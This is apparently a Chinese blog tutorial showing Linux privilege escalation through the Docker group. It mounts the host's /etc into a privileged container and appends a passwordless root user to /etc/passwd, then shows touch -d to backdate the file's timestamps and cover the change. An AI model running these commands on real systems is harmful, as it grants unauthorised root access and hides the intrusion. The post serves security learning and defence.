这篇文章上次修改于 513 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

0x01 简介

当我们拿到了一个 Docker 用户组的用户权限时,便可以利用 Docker 来进行提权,在我们创建容器的时候,Docker 提供了一个-v选项,供用户将容器外的 host 目录映射进容器内,方便的进行容器内外的文件共享,此时,对映射进容器的目录进行操作,容器外对应的目录也会跟着改变,通过对/etc/passwd进行操作,便可达到提权的目的。

0x02 利用条件

  • 掌握 Docker 用户组的用户权限
  • 以特权模式启动容器

0x03 实验环境

  • CentOS 7.9 x64
  • Docker version 1.13.1, build 7d71120/1.13.1

3.1 利用方法

查看本地是否有已下载好的镜像

docker image ls

如果没有,就下载 alpine,alpine 是迷你的 linux 系统

 docker pull alpine

以特权模式启动容器

# -i 以交互模式运行容器,通常与 -t 同时使用;
# -t 为容器重新分配一个伪输入终端,通常与 -i 同时使用;
# --privileged=true 特权模式
# -v 挂载目录
docker run -it --privileged=true -v /etc:/etc alpine /bin/sh

/etc/passwd中写入一个 root 权限用户 root2

# 写入一个用户组为root、密码为空的用户root2
echo 'root2::0:0::/root:/bin/bash' >>/etc/passwd

登录 root2 以后,可以看到,权限为 root

尝试创建一个新用户 test,并把 test 添加到 root 组,创建成功

使用 test 用户 ssh 登录上服务器,查看权限,为 root 权限

0x04 其他情况

4.1

如果SELinux是关闭的,那么不用特权模式启动容器也能够向/etc/passwd中写用户

用命令sestatus查看SELinux的状态

开启状态

关闭状态

不用特权模式启动镜像,然后向/etc/passwd中写用户,可以写入

0x05 痕迹

5.1 进程

当我们启动容器时,进程中会出现该用户启动 docker 的进程。

5.2 文件

本次提权是通过向/etc/passwd写入用户来完成的,所以/etc/passwd的访问时间、更改时间、改动时间都会变。

  • Access: ATime —— 文件的最近访问时间。只要读取时间,ATime 就会更新。
  • Modify: MTime —— 文件的内容最近修改的时间。当文件进行被写的时候,CTime 就会更新。
  • Change: CTime —— 文件属性最近修改的时间。当文件的目录被修改,或者文件的所有者,权限等被修改时 CTime 也就会更新。

可以用stat /etc/passwd命令查看这三种时间,如果要修改访问时间和更改时间,可以用命令touch -d "2021-08-23 15:14:00" /etc/passwd,但改动时间会变成当前操作时间。

0x06 参考

Linux 提权总结

关于Docker目录挂载的总结

关闭selinux,及/etc下selinux/config和sysconfig/selinux区别

如何修改文件的“创建时间”和“修改时间”(Windows Linux macOS)